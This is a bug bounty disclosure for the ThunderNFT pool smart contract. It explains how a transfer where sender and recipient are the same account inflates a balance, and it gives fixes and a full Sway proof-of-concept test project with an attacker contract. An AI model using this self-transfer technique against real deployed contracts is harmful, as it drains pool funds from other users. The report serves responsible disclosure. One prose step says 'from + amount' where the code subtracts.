IOP _ ThunderNFT 34659 - [Smart Contract - Low] Pool Balance Inflation
Pool Balance Inflation
Submitted on Mon Aug 19 2024 23:04:18 GMT-0400 (Atlantic Standard Time) by @Blockian for IOP | ThunderNFT
Report ID: #34659
Report type: Smart Contract
Report severity: Low
Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/pool
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Thunder Exchange
Pool Balance Inflation
Description
A issue exists where pool balances can be artificially inflated without any additional deposits. This flaw enables malicious actors to withdraw inflated funds, effectively stealing from the pool.
Root Cause
The vulnerability stems from the current implementation of the transfer function, as shown below:
#[storage(read, write)]
fn _transfer(from: Identity, to: Identity, asset: AssetId, amount: u64) {
// ...
let from_balance = _balance_of(from, asset);
let to_balance = _balance_of(to, asset);
require(from_balance >= amount, PoolErrors::AmountHigherThanBalance);
storage.balance_of.insert((from, asset), from_balance - amount);
storage.balance_of.insert((to, asset), to_balance + amount);
log(Transfer {
from,
to,
asset,
amount,
});
}
The transfer process operates as follows:
Read the
from
balanceRead the
to
balanceUpdate the
from
balance tofrom + amount
Update the
to
balance toto + amount
However, if from
and to
are the same account, the update in step 3 is effectively overwritten by the update in step 4. As a result, the attacker retains their original balance plus the transferred amount.
Impact
This vulnerability allows the creation of inflated balances without corresponding funds. When a user with such an inflated balance withdraws from the pool, they can deplete the pool's reserves, leaving other users unable to withdraw their legitimate funds.
But, currently, the impact is classified as Low, since the transfer
function can only be invoked by the ThunderExchange
itself, which is not malicious.
Proposed fix
There are two primary solutions to address this issue:
Ensure that from and to are not the same account.
Adjust the order of operations as follows:
Read the
from
balanceUpdate the
from
balance tofrom + amount
Read the
to
balanceUpdate the
to
balance toto + amount
Proof of concept
Proof of Concept
There are some steps to follow:
Create
forc.toml
incontracts-v1
and add the below in theforc.toml
:
[workspace]
members = ["tests", "asset_manager", "erc721", "execution_manager", "execution_strategies/strategy_fixed_price_sale" ,"libraries", "interfaces" , "pool", "royalty_manager", "thunder_exchange", "test_asset", "test_user"]
Create 3 new folder called
tests
,test_user
, andtest_asset
under thecontracts-v1
directory:In the each folder create a folder named
src
with a file calledmain.sw
, and aforc.toml
file. The folder tree will look like this:
contracts-v1
├── test_asset
│ ├── forc.toml
│ └── src
│ └── main.sw
├── test_user
│ ├── forc.toml
│ └── src
│ └── main.sw
├── tests
│ ├── forc.toml
│ └── src
│ └── main.sw
tests folder
In the tests
folder.
Add the below in the
forc.toml
:
[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_contract"
[dependencies]
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }
[contract-dependencies]
asset_manager = { path = "../asset_manager" }
thunder_exchange = { path = "../thunder_exchange" }
pool = { path = "../pool" }
execution_manager = { path = "../execution_manager" }
royalty_manager = { path = "../royalty_manager" }
strategy_fixed_price_sale = {path = "../execution_strategies/strategy_fixed_price_sale"}
test_asset = { path = "../test_asset" }
test_user = { path = "../test_user" }
Add the below in the
main.sw
:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
royalty_manager_interface::*,
asset_manager_interface::*,
execution_manager_interface::ExecutionManager,
execution_strategy_interface::*,
pool_interface::Pool,
test_user_interface::TestUser,
};
use libraries::{
msg_sender_address::*,
constants::*,
order_types::*,
ownable::*,
};
use standards::{src3::SRC3};
use std::{
block::timestamp,
auth::*,
call_frames::*,
context::*,
contract_id::ContractId,
constants::DEFAULT_SUB_ID,
logging::log,
revert::require,
assert::*,
storage::storage_map::*,
asset::*
};
#[test()]
fn test_attack() {
let caller = caller_address().unwrap();
let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
let pool = abi(Pool, pool::CONTRACT_ID);
let test_user = abi(TestUser, test_user::CONTRACT_ID);
let test_user_identity = Identity::ContractId(ContractId::from(test_user::CONTRACT_ID));
asset_mngr.initialize();
test_user.initialize(ContractId::from(pool::CONTRACT_ID));
// set the test user as the exchange for the pool for this test
pool.initialize(ContractId::from(test_user::CONTRACT_ID), ContractId::from(asset_manager::CONTRACT_ID));
// mint tokens to the user
let example_asset = abi(SRC3, test_asset::CONTRACT_ID);
let asset_id = AssetId::new(ContractId::from(test_asset::CONTRACT_ID), DEFAULT_SUB_ID);
asset_mngr.add_asset(asset_id);
example_asset.mint(test_user_identity, DEFAULT_SUB_ID, 1000); // mint 1000 tokens to the test user
// test user deposits to pool
test_user.deposit_to_pool_attack(asset_id, 1000);
assert(pool.balance_of(test_user_identity, asset_id) == 2000); // inflated balance
}
test_user folder
In the test_user
folder.
Add the below in the
forc.toml
:
[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_user"
[dependencies]
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }
Add the below in the
main.sw
:
contract;
use std::{
address::Address,
auth::*,
call_frames::*,
constants::*,
context::*,
contract_id::ContractId,
hash::Hash,
logging::log,
identity::Identity,
revert::*,
asset::*,
storage::storage_map::*,
};
use interfaces::{
asset_manager_interface::*,
pool_interface::*,
test_user_interface::*,
thunder_exchange_interface::{ThunderExchange},
};
use libraries::{
msg_sender_address::*,
constants::*,
order_types::*,
};
storage {
/// Pool contractId
pool: Option<ContractId> = Option::None,
}
impl TestUser for Contract {
#[storage(read, write)]
fn initialize(pool: ContractId) {
storage.pool.write(Option::Some(pool));
}
#[storage(read)]
fn deposit_to_pool_attack(asset: AssetId, amount: u64) {
let pool_addr = storage.pool.read().unwrap().bits();
let pool = abi(Pool, pool_addr);
let self_identity = Identity::ContractId(ContractId::this());
pool.deposit{ asset_id: asset.bits(), coins: amount }();
pool.transfer_from(self_identity, self_identity, asset, 1000);
}
}
test_asset folder
In the test_asset
folder. The test asset is simply the Fuel Team SRC3 example
Add the below in the
forc.toml
:
[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_asset"
[dependencies]
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }
Add the below in the
main.sw
:
contract;
use standards::{src20::SRC20, src3::SRC3};
use std::{
asset::{
burn,
mint_to,
},
call_frames::msg_asset_id,
context::msg_amount,
hash::Hash,
storage::storage_string::*,
string::String,
};
// In this example, all assets minted from this contract have the same decimals, name, and symbol
configurable {
/// The decimals of every asset minted by this contract.
DECIMALS: u8 = 9u8,
/// The name of every asset minted by this contract.
NAME: str[12] = __to_str_array("ExampleAsset"),
/// The symbol of every asset minted by this contract.
SYMBOL: str[2] = __to_str_array("EA"),
}
storage {
/// The total number of distinguishable assets this contract has minted.
total_assets: u64 = 0,
/// The total supply of a particular asset.
total_supply: StorageMap<AssetId, u64> = StorageMap {},
}
impl SRC3 for Contract {
/// Unconditionally mints new assets using the `sub_id` sub-identifier.
///
/// # Arguments
///
/// * `recipient`: [Identity] - The user to which the newly minted asset is transferred to.
/// * `sub_id`: [SubId] - The sub-identifier of the newly minted asset.
/// * `amount`: [u64] - The quantity of coins to mint.
///
/// # Number of Storage Accesses
///
/// * Reads: `2`
/// * Writes: `2`
///
/// # Examples
///
/// ```sway
/// use src3::SRC3;
/// use std::constants::DEFAULT_SUB_ID;
///
/// fn foo(contract_id: ContractId) {
/// let contract_abi = abi(SRC3, contract_id);
/// contract_abi.mint(Identity::ContractId(contract_id), DEFAULT_SUB_ID, 100);
/// }
/// ```
#[storage(read, write)]
fn mint(recipient: Identity, sub_id: SubId, amount: u64) {
let asset_id = AssetId::new(ContractId::this(), sub_id);
// If this SubId is new, increment the total number of distinguishable assets this contract has minted.
let asset_supply = storage.total_supply.get(asset_id).try_read();
match asset_supply {
None => {
storage.total_assets.write(storage.total_assets.read() + 1)
},
_ => {},
}
// Increment total supply of the asset and mint to the recipient.
storage
.total_supply
.insert(asset_id, amount + asset_supply.unwrap_or(0));
mint_to(recipient, sub_id, amount);
}
/// Unconditionally burns assets sent with the `sub_id` sub-identifier.
///
/// # Arguments
///
/// * `sub_id`: [SubId] - The sub-identifier of the asset to burn.
/// * `amount`: [u64] - The quantity of coins to burn.
///
/// # Number of Storage Accesses
///
/// * Reads: `1`
/// * Writes: `1`
///
/// # Reverts
///
/// * When the transaction did not include at least `amount` coins.
/// * When the asset included in the transaction does not have the SubId `sub_id`.
///
/// # Examples
///
/// ```sway
/// use src3::SRC3;
/// use std::constants::DEFAULT_SUB_ID;
///
/// fn foo(contract_id: ContractId, asset_id: AssetId) {
/// let contract_abi = abi(SRC3, contract_id);
/// contract_abi {
/// gas: 10000,
/// coins: 100,
/// asset_id: asset_id,
/// }.burn(DEFAULT_SUB_ID, 100);
/// }
/// ```
#[payable]
#[storage(read, write)]
fn burn(sub_id: SubId, amount: u64) {
let asset_id = AssetId::new(ContractId::this(), sub_id);
require(msg_amount() == amount, "Incorrect amount provided");
require(msg_asset_id() == asset_id, "Incorrect asset provided");
// Decrement total supply of the asset and burn.
storage
.total_supply
.insert(asset_id, storage.total_supply.get(asset_id).read() - amount);
burn(sub_id, amount);
}
}
// SRC3 extends SRC20, so this must be included
impl SRC20 for Contract {
#[storage(read)]
fn total_assets() -> u64 {
storage.total_assets.read()
}
#[storage(read)]
fn total_supply(asset: AssetId) -> Option<u64> {
storage.total_supply.get(asset).try_read()
}
#[storage(read)]
fn name(asset: AssetId) -> Option<String> {
match storage.total_supply.get(asset).try_read() {
Some(_) => Some(String::from_ascii_str(from_str_array(NAME))),
None => None,
}
}
#[storage(read)]
fn symbol(asset: AssetId) -> Option<String> {
match storage.total_supply.get(asset).try_read() {
Some(_) => Some(String::from_ascii_str(from_str_array(SYMBOL))),
None => None,
}
}
#[storage(read)]
fn decimals(asset: AssetId) -> Option<u8> {
match storage.total_supply.get(asset).try_read() {
Some(_) => Some(DECIMALS),
None => None,
}
}
}
Interfaces
Now we need to add the test_user
interface to interact with. In the interfaces/src
folder, in the lib.sw
add the following line:
pub mod test_user_interface;
Additionally, create a file called test_user_interface.sw
in the interfaces/src
folder and add the following:
library;
use libraries::{
order_types::*,
};
abi TestUser {
#[storage(read, write)]
fn initialize(pool: ContractId);
#[storage(read)]
fn deposit_to_pool_attack(asset: AssetId, amount: u64);
}
Run it all!
Simply run forc test
in smart-contracts/contracts-v1
.
Last updated
Was this helpful?